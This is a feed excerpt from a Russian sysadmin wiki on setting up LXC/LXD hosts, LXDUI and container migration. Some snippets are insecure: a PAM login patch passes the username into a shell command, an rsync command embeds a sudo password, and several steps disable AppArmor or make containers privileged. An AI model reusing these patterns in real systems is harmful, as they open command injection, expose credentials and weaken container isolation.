&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc network delete lxdbr0&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043d\u0435\u0441\u0435\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043d\u0435\u0441\u0435\u043d\u0438\u0435_\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439_\u0432_\u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u0439_\u043f\u0440\u043e\u0444\u0438\u043b\u044c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;4616-5334&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;монтируем_директорию_хоста_в_контейнер_lxd&quot;&gt;Монтируем директорию хоста в контейнер LXD&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc config device add ContainerName DeviceName disk source=/tmp/share_on_host path=/tmp/share_on_guest&lt;/pre&gt;

&lt;p&gt;
Тут &lt;strong&gt;ContainerName&lt;/strong&gt; - имя контейнера, &lt;strong&gt;DeviceName&lt;/strong&gt; - имя устройства (оно может быть произвольным и служит для идентификации этого ресурса в конфигурации).
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u043c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0445\u043e\u0441\u0442\u0430 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 LXD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u043c_\u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e_\u0445\u043e\u0441\u0442\u0430_\u0432_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440_lxd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;5335-5794&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;добавление_storage_pool&quot;&gt;Добавление storage pool&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для добавления хранилища выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sud mkdir -p /path/to/storage/pool
sudo lxc storage create PoolName dir source=/path/to/storage/pool&lt;/pre&gt;

&lt;p&gt;
Данная команда создаст пул в директории.
Для того, чтобы его впоследствии использовать нужно создать соответствующий профиль.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 storage pool&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435_storage_pool&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;5795-6245&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit8&quot; id=&quot;создаем_профиль_для_нового_storage_pool&quot;&gt;Создаем профиль для нового storage pool&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Создаем пустой профиль:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc profile create dir_storage&lt;/pre&gt;

&lt;p&gt;
Открываем редактор:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc profile edit dir_storage&lt;/pre&gt;

&lt;p&gt;
И приводим его к такому виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;config: {}
description: &amp;quot;Profile with Directory storage&amp;quot;
devices:
  eth0:
    name: eth0
    nictype: bridged
    parent: br0
    type: nic
  root:
    path: /
    pool: lxd_dir
    type: disk
name: dir_storage
used_by: []&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0434\u043b\u044f \u043d\u043e\u0432\u043e\u0433\u043e storage pool&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u0435\u043c_\u043f\u0440\u043e\u0444\u0438\u043b\u044c_\u0434\u043b\u044f_\u043d\u043e\u0432\u043e\u0433\u043e_storage_pool&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;6246-6766&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit9&quot; id=&quot;добавляем_устройство_ppp_в_профиль_или_контейнер_lxd&quot;&gt;Добавляем устройство ppp в профиль или контейнер LXD&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Добавление профиля и устройства в него:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc profile create device_ppp
sudo lxc profile device add device_ppp dev_ppp unix-char path=/dev/ppp&lt;/pre&gt;

&lt;p&gt;
И назначаем профиль контейнеру:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc profile assign pptp device_ppp,default&lt;/pre&gt;

&lt;p&gt;
Тут важно, что нужно перечислить все профили, назначаемые контейнеру.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e ppp \u0432 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0438\u043b\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 LXD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c_\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e_ppp_\u0432_\u043f\u0440\u043e\u0444\u0438\u043b\u044c_\u0438\u043b\u0438_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440_lxd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;6767-7295&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit10&quot; id=&quot;добавление_устройства_непосредственно_в_контейнер&quot;&gt;Добавление устройства непосредственно в контейнер&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
В этом случае профиль можно не создавать.
&lt;/p&gt;

&lt;p&gt;
sudo lxc config device add &amp;lt;ctname&amp;gt; dev_ppp unix-char path=/dev/ppp
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435_\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430_\u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e_\u0432_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;7296-7547&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit11&quot; id=&quot;смена_пароля_root_в_контейнере_lxd&quot;&gt;Смена пароля root в контейнере LXD&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Допустим, у нас есть контейнер &lt;strong&gt;test1&lt;/strong&gt; и нам надо сменить в нем пароль &lt;strong&gt;root&lt;/strong&gt;. Для этого выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc exec test1 -- sh -c passwd&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043c\u0435\u043d\u0430 \u043f\u0430\u0440\u043e\u043b\u044f root \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 LXD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043c\u0435\u043d\u0430_\u043f\u0430\u0440\u043e\u043b\u044f_root_\u0432_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435_lxd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;7548-7826&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit12&quot; id=&quot;установка_web-интерфейса_для_lxd&quot;&gt;Установка web-интерфейса для LXD&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Web-интерфейсов для &lt;strong&gt;LXD&lt;/strong&gt; существует несколько. Покопавшись на &lt;strong&gt;github&lt;/strong&gt; я выбрал &lt;a href=&quot;https://github.com/AdaptiveScale/lxdui&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/AdaptiveScale/lxdui&quot; rel=&quot;ugc nofollow&quot;&gt;LXDUI от AdaptiveScale&lt;/a&gt;. Его преимущества - довольно легкий (написан на &lt;strong&gt;python&lt;/strong&gt;), обновляется, по крайней мере пока. &lt;br/&gt;

Устанавливаем запчасти:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install -y python3 zfsutils-linux bridge-utils unzip python3-pip
sudo rm /usr/bin/python &amp;amp;&amp;amp; sudo ln -s /usr/bin/python3.6 /usr/bin/python
sudo pip3 install --upgrade pip&lt;/pre&gt;

&lt;p&gt;
Скачиваем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://github.com/AdaptiveScale/lxdui/archive/master.zip&lt;/pre&gt;

&lt;p&gt;
Распаковываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;unzip ./master.zip&lt;/pre&gt;

&lt;p&gt;
Устанавливаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd lxdui-master
sudo pip3 install .&lt;/pre&gt;

&lt;p&gt;
Запускаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxdui start&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 web-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0434\u043b\u044f LXD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_web-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430_\u0434\u043b\u044f_lxd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;7827-8739&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit13&quot; id=&quot;создаем_файл_сервиса_systemd&quot;&gt;Создаем файл сервиса systemd&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /lib/systemd/system/lxdui.service&lt;/pre&gt;

&lt;p&gt;
Пишем туда вот что:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Unit]
Description=LXC/LXD Web User Interface
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/lxdui start
ExecStop=/usr/local/bin/lxdui stop
ExecReload=/usr/local/bin/lxdui reload

[Install]
WantedBy=multi-user.target&lt;/pre&gt;

&lt;p&gt;
Включаем сервис:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl enable lxdui&lt;/pre&gt;

&lt;p&gt;
И запускаем его:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service lxdui start&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u0441\u0435\u0440\u0432\u0438\u0441\u0430 systemd&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u0435\u043c_\u0444\u0430\u0439\u043b_\u0441\u0435\u0440\u0432\u0438\u0441\u0430_systemd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:13,&amp;quot;range&amp;quot;:&amp;quot;8740-9253&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit14&quot; id=&quot;аутентификация_локальных_и_доменных_пользователей&quot;&gt;Аутентификация локальных и доменных пользователей&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/AdaptiveScale/lxdui/&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/AdaptiveScale/lxdui/&quot; rel=&quot;ugc nofollow&quot;&gt;LXDUI от AdaptiveScale&lt;/a&gt; сам по себе прост и неплох, однако в нем нет аутентификации локальных или доменных пользователей. &lt;br/&gt;

Я решил это исправить и добавить аутентификацию пользователей, авторизовавшихся через pam-модули хоста. &lt;br/&gt;

Для этого нужно немного отредактировать файлик &lt;strong&gt;./app/lib/auth.py&lt;/strong&gt; &lt;br/&gt;

В моем случае он установился в &lt;strong&gt;/usr/local/lib/python3.6/dist-packages/app/lib/auth.py&lt;/strong&gt; &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo pip3 install python-pam&lt;/pre&gt;

&lt;p&gt;
В самом конце это файлика есть функция &lt;strong&gt;authenticate&lt;/strong&gt;, которую я привел вот к такому виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;    def authenticate(self, username, password):
        #try to authenticate using pam
        pamobj = pam.pam()
        if pamobj.authenticate(username, password) is True:
           groups_gids = subprocess.check_output(&amp;quot;id -G &amp;quot; + username, shell=True, universal_newlines=True).split()
           #for group in  [subprocess.check_output(&amp;quot;getent group &amp;quot; + gid, shell=True, universal_newlines=True).split(&amp;#039;:&amp;#039;,maxsplit = 1)[0] for gid in groups_gids]:
           for group in  [grp.getgrgid(gid).gr_name for gid in groups_gids]:
                 if group.lower() == &amp;#039;lxdui&amp;#039;:
                     return True, &amp;#039;Authenticated&amp;#039;

        #Authebticate using LXDUI database
        account, err = self.get(username)

        if account is None:
            return &amp;#039;Error&amp;#039;, err

        if account[&amp;#039;password&amp;#039;] == self.sha_password(password):
            return True, &amp;#039;Authenticated&amp;#039;
        else:
            return False, &amp;#039;Incorrect password.&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Кроме того, в начало файла нужно добавить: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;import pam, grp, subprocess&lt;/pre&gt;

&lt;p&gt;
Мой хост присоединен к домену &lt;strong&gt;Active Directory&lt;/strong&gt; и теперь пользователи, входящие в доменную или локальную группу &lt;strong&gt;lxdui&lt;/strong&gt; будут нормально логиниться. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0438 \u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f_\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445_\u0438_\u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0445_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:14,&amp;quot;range&amp;quot;:&amp;quot;9254-11537&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit15&quot; id=&quot;экспортимпорт_контейнеров_со_старого_хоста_lxc&quot;&gt;Экспорт/Импорт контейнеров со старого хоста LXC&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На новом хосте создаем контейнер с таким же именем как и старый. Останавливаем его. Монтируем.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc stop CONTAINERNAME
sudo zfs mount lxd/containers/CONTAINERNAME&lt;/pre&gt;

&lt;p&gt;
Удаляем файлы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo rm -Rf /var/lib/lxd/storage-pools/lxd/containers/CONTAINERNAME/rootfs/*&lt;/pre&gt;

&lt;p&gt;
И теперь выполняем &lt;strong&gt;rsync&lt;/strong&gt;. тут сложность в том, что rsync должен быть выполнен с правами &lt;strong&gt;sudo&lt;/strong&gt; на обоих хостах:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo rsync -hXAavzP --stats --numeric-ids --rsync-path=&amp;quot;echo PASSWORD | sudo -Sv &amp;amp;&amp;amp; sudo rsync&amp;quot;  Username@Old_LXC_Host:/var/lib/lxc/CONTAINERNAME/rootfs/ /var/lib/lxd/storage-pools/lxd/containers/CONTAINERNAME/rootfs/&lt;/pre&gt;

&lt;p&gt;
Контейнеры импортированные из &lt;strong&gt;LXC&lt;/strong&gt; работали в &lt;strong&gt;privileged mode&lt;/strong&gt;, поэтому нужно задать такой же режим импортированному контейнеру:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc config set CONTAINERNAME security.privileged true&lt;/pre&gt;

&lt;p&gt;
Также нужно отключить &lt;strong&gt;apparmor&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc profile set default raw.lxc lxc.apparmor.profile=unconfined&lt;/pre&gt;

&lt;p&gt;
В данном случае - отключаем &lt;strong&gt;apparmor&lt;/strong&gt; (устанавливаем профиль unconfined) для профиля &lt;strong&gt;default&lt;/strong&gt;. &lt;br/&gt;

Или можно отключить &lt;strong&gt;apparmor&lt;/strong&gt; для заданного контейнера:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc config set CONTAINERNAME raw.lxc lxc.apparmor.profile=unconfined&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u042d\u043a\u0441\u043f\u043e\u0440\u0442\/\u0418\u043c\u043f\u043e\u0440\u0442 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0441\u043e \u0441\u0442\u0430\u0440\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 LXC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u043c\u043f\u043e\u0440\u0442_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432_\u0441\u043e_\u0441\u0442\u0430\u0440\u043e\u0433\u043e_\u0445\u043e\u0441\u0442\u0430_lxc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:15,&amp;quot;range&amp;quot;:&amp;quot;11538-13147&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit16&quot; id=&quot;миграция_lxc-lxd_с_помощью_lxd-tools&quot;&gt;Миграция LXC-LXD с помощью lxd-tools&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;div class=&quot;table sectionedit17&quot;&gt;&lt;table class=&quot;inline&quot;&gt;
	&lt;tr class=&quot;row0&quot;&gt;
		&lt;th class=&quot;col0&quot;&gt;При попытке мигрировать с хоста &lt;strong&gt;Ubuntu 16.04.5&lt;/strong&gt; у меня толком ничего не вышло. При миграции переезжала файловая система, однако файл с настройками контейнера не создавался.&lt;/th&gt;
	&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;secid&amp;quot;:17,&amp;quot;range&amp;quot;:&amp;quot;13215-13523&amp;quot;} --&gt;
&lt;p&gt;
На хосте &lt;strong&gt;LXC&lt;/strong&gt; ставим &lt;strong&gt;lxd-tools&lt;/strong&gt;.
Добавляем диск и делаем &lt;strong&gt;zfs-пул&lt;/strong&gt;.&lt;br/&gt;

Затем настраиваем &lt;strong&gt;lxd&lt;/strong&gt; с помощью
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxd init&lt;/pre&gt;

&lt;p&gt;
Мигрируем контейнер с помощью
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc-to-lxd&lt;/pre&gt;

&lt;p&gt;
Затем делаем 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;export&lt;/pre&gt;

&lt;p&gt;
переносим полученный &lt;strong&gt;image&lt;/strong&gt; на новый хост и разворачиваем там.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u0438\u0433\u0440\u0430\u0446\u0438\u044f LXC-LXD \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e lxd-tools&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f_lxc-lxd_\u0441_\u043f\u043e\u043c\u043e\u0449\u044c\u044e_lxd-tools&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:16,&amp;quot;range&amp;quot;:&amp;quot;13148-13925&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit18&quot; id=&quot;установка_lxc-to-lxd_на_ubuntu_1604&quot;&gt;Установка lxc-to-lxd на Ubuntu 16.04&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
При попытке установить &lt;strong&gt;lxd-tools&lt;/strong&gt; из репозитория &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; оказалось, что ставится только версия &lt;strong&gt;lxd-tools (2.0.11-0ubuntu1~16.04.4)&lt;/strong&gt;, в которой отсутствует &lt;strong&gt;lxc-to-lxd&lt;/strong&gt;. &lt;br/&gt;

Поэтому, ставим из &lt;strong&gt;backports&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt install -t xenial-backports lxd-tools  &lt;/pre&gt;

&lt;p&gt;
В результате установится версия &lt;strong&gt;3.0.1-0ubuntu1~16.04.4&lt;/strong&gt;, в которой &lt;strong&gt;lxc-to-lxd&lt;/strong&gt; есть!.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 lxc-to-lxd \u043d\u0430 Ubuntu 16.04&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_lxc-to-lxd_\u043d\u0430_ubuntu_1604&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:18,&amp;quot;range&amp;quot;:&amp;quot;13926-14490&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit19&quot; id=&quot;конвертация&quot;&gt;Конвертация&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc-to-lxd container_to_move&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:19,&amp;quot;range&amp;quot;:&amp;quot;14491-14561&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit20&quot; id=&quot;миграция&quot;&gt;Миграция&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Если контейнер удачно конвертировался в &lt;strong&gt;LXD&lt;/strong&gt;. Экспортируем его в файл:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  lxc snapshot container_name backup
  lxc publish container_name/backup --alias container_name-backup
  lxc image export container_name-backup .
  lxc image delete container_name-backup&lt;/pre&gt;

&lt;p&gt;
Импортируем на новом хосте:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  lxc image import TARBALL-NAME --alias container_name-backup
  lxc launch container_name-backup container_name
  lxc image delete container_name-backup&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u0438\u0433\u0440\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:20,&amp;quot;range&amp;quot;:&amp;quot;14562-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 13 Feb 2019 12:35:13 +0000</pubDate>
        </item>
        <item>
            <title>setup_lxc_lxd_host_on_ubuntu_2204</title>
            <link>https://wiki.autosys.tk/linux_faq/setup_lxc_lxd_host_on_ubuntu_2204</link>
            <description>
&lt;p&gt;
На новых Ubuntu система управления контейнерами LXC/LXD ставится как snap (&lt;a href=&quot;https://linuxcontainers.org/lxd/getting-started-cli/&quot; class=&quot;urlextern&quot; title=&quot;https://linuxcontainers.org/lxd/getting-started-cli/&quot; rel=&quot;ugc nofollow&quot;&gt;https://linuxcontainers.org/lxd/getting-started-cli/&lt;/a&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; sudo apt-get install zfsutils-linux bridge-utils
 sudo snap install lxd&lt;/pre&gt;

&lt;p&gt;
Настраиваем. Выпоняем команду и отвечаем на вопросы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxd init&lt;/pre&gt;

&lt;p&gt;
Смотрим доступные имиджи:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc image list images:&lt;/pre&gt;

&lt;p&gt;
Запускаем, в данном случае контейнер с CentOS 8:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc launch images:centos/8-Stream  centos8&lt;/pre&gt;

&lt;p&gt;
Запускаем в контейнере процесс:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc exec centos8 -- /bin/bash&lt;/pre&gt;

&lt;p&gt;
Или подключаемся к консоли запущенного контейнера:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc console  centos8&lt;/pre&gt;

&lt;p&gt;
Можно сделать контейнер привилегированным:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc config set centos8 security.privileged true
sudo lxc restart centos8&lt;/pre&gt;

&lt;p&gt;
Монтируем директорию:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc config device add ContainerName DeviceName disk source=/tmp/share_on_host path=/tmp/share_on_guest&lt;/pre&gt;

